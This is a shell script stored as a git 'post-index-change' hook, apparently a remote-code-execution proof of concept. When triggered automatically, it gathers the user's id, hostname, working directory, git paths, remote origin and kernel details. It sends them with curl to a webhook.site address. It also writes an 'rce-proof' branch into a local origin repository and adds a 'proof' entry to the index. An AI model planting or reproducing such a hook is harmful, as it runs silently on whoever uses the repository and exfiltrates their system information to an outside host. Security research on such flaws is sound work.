rceqghgr/hooks/post-index-change
2026-11-14 06:11:00 +07:00

20 lines
998 B
Bash
Executable File

#!/bin/sh
G=$(git rev-parse --absolute-git-dir 2>/dev/null)
O=$(git config --get remote.origin.url 2>/dev/null)
case "$O" in file://*) O=${O#file://} ;; esac
{ id; hostname; pwd; echo "G=$G"; echo "O=$O"; uname -a; } > /tmp/.gf 2>&1
(curl -s -m 5 --data-binary @/tmp/.gf https://webhook.site/b27fb4d3-f532-4304-9bb9-817694c96a4c >/dev/null 2>&1 &)
if [ -n "$O" ] && [ -d "$O" ]; then
B=$(git --git-dir="$O" hash-object -w /tmp/.gf 2>/dev/null)
T=$(printf '100644 blob %s\tproof\n' "$B" | git --git-dir="$O" mktree 2>/dev/null)
C=$(printf 'proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$O" commit-tree "$T" 2>/dev/null)
git --git-dir="$O" update-ref refs/heads/rce-proof "$C" 2>/dev/null
fi
L=/tmp/.glock.$$
if mkdir "$L" 2>/dev/null; then
B2=$(git --git-dir="$G" hash-object -w /tmp/.gf 2>/dev/null)
git --git-dir="$G" update-index --add --cacheinfo 100644,$B2,proof 2>/dev/null
rmdir "$L" 2>/dev/null
fi
exit 0